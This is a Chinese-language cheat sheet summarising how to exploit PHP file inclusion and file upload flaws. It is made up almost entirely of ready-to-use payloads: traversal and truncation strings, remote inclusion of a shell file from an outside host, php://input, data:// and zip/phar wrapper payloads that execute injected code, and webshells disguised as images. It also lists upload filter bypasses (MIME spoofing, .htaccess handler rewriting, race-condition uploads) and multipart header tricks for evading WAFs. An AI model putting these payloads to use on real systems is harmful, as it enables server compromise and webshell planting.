文件包含漏洞、文件上传漏洞的一些漏洞利用总结

文件包含

1
<?php include "inc/".$_GET['file'].".php"; ?>

本地文件包含:

?file=test.txt

?file=./../../test.txt

../../../Windows/ABC_01.py%00截断

../../../Windows/%00目录截断

../../../Windows/./././././[...]/././././././ 路径长度截断(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)

../../../Windows/...........[...].......... 点号截断(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

远程文件包含:

?file=[http|https|ftp]://example.com/shell.txt (需要allow_url_fopen=On并且 allow_url_include=On)

?file=file://C:/phpstudy/www/upload/2.php

?file=php://input post数据包:<?php phpinfo(); ?> (需要开启allow_url_include=On)

?file=php://filter/read=convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=index.php (需要开启allow_url_include=On)

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== (不需要闭合php标签?>)

?file=zip://C:/phpstudy/WWW/upload/

?file=phar://C:/phpstudy/www/upload/file.zip/phpcode.txt

?file=phar://./file.zip/phpcode.txt

创建phpcode.txt写入一句话木马,然后把phpcode.txt压缩成zip,如果不能上传zip文件把zip文件改成jpg上传,然后访问下面链接。一定要改成URL编码的%23,否则访问不了。

?file=zip://C:/phpstudy/www/upload/file.jpg%23phpcode.txt

php://filter file:/// 可以访问本地的文件

zip:// phar:// 可以访问本地压缩文件

php://input data://text/plain;base64, 可以自己写入php代码

文件上传

常见的文件上传绕过

1.前端js认证绕过 将1.php木马文件改成1.jpg使用burp等抓包工具抓包后把1.jpg改为1.php再放包。

2.MIME类型绕过 后端Content-type认证 上传1.php抓包后将Content-type改为Content-type:image/jpeg放包即可。

3.文件名扩展绕过 如发现php文件上传不了,被限制,可尝试把后缀名改成php2 php3 php4 phtml,都可以解析。

4.htaccess解析绕过 上传后缀为1.jpg的php木马,将 AddType application/x-httpd-php .jpg 写入到.htaccess文件中上传后,上传的jpg的文件都会被解析成php文件。

5.大小写混写绕过 比如1.pHp 2.PhP 3.PHP shell.php( 空格)空格绕过

6.后缀名后缀绕过 .点 (. .)点+空格+点 ::$DATA绕过

7.后缀名双写绕过 1.pphphp

8.一句话图片木马绕过 将图片和代码混在一起,如果后端没有判断该文件是否为图片的时候或者只判断了该文件头部是否为图片的时候,我们可以将一句话图片木马上传绕过。一句话图片木马制作方法:打开cmd->copy 1.jpg/b + 1.php/a 2.jpg

9.文件头校验绕过

GIF89a

.JPEG;.JPE;.JPG,”JPGGraphic File”
.gif,”GIF 89A”
.zip,”Zip Compressed”
.doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”

10.文件包含漏洞和上传的txt文本利用,也能够解析

较老的基本上用不到的漏洞绕过

1.%00截断绕过 上传1.php,使用抓包工具修改将文件名改成1.php .jpg,注意在中间有个空格,空格的URL编码后为%20,所以我们在抓包工具中进入HEX模块,找到相关的文件名所在的地方,将20改成00,然后再放包。

2.IIS6.0解析绕过 1.asp;2.jpg将这种格式的文件上传后,访问,因为iis6.0解析的问题,会把;后面的去掉不解析,所以造成了能够访问1.asp文件。

IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx

代码审计常见的上传绕过

1.iconv()函数 shell.php(hex).jpg在iconv转码后会转成shell.php

2.竞争上传 意思是,上传文件后,先保存在服务器,然后判断该文件是否是合法的文件类型,这样的话,我们可以通过访问上传的临时文件,这个临时文件是我们自己写的然后上传的,里面的内容的目的就是在上一级或者在本目录下再新建一个木马文件,我们可以自己写个python脚本,不断去访问临时文件,然后就会生成你脚本新建的木马文件,访问即可。

奇淫技巧上传绕过

1.数据包更改

多个分号,文件解析时,可能解析不到文件名,导致绕过。

Content-Disposition: form-data; name=”file_x”;;; filename=”test.php”

Header在boundary前添加任意字符,PHP支持,JAVA报错

Content-Type: multipart/form-data; bypassboundary=—-WebKitFormBoundaryj1oRYFW91eaj8Ex2

filename换行,PHP支持,Java不支持。

Content-Disposition: form-data; name=”file_x”; file
name=”test.php”

name和filename添加任意字符串,PHP支持,Java不支持。

Content-Disposition: name=”file_x”; bypass waf upload; filename=”test.php”;

POST/GET上传绕过

有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。此种情况可以上传一个POST型的数据包,抓包将POST改为GET。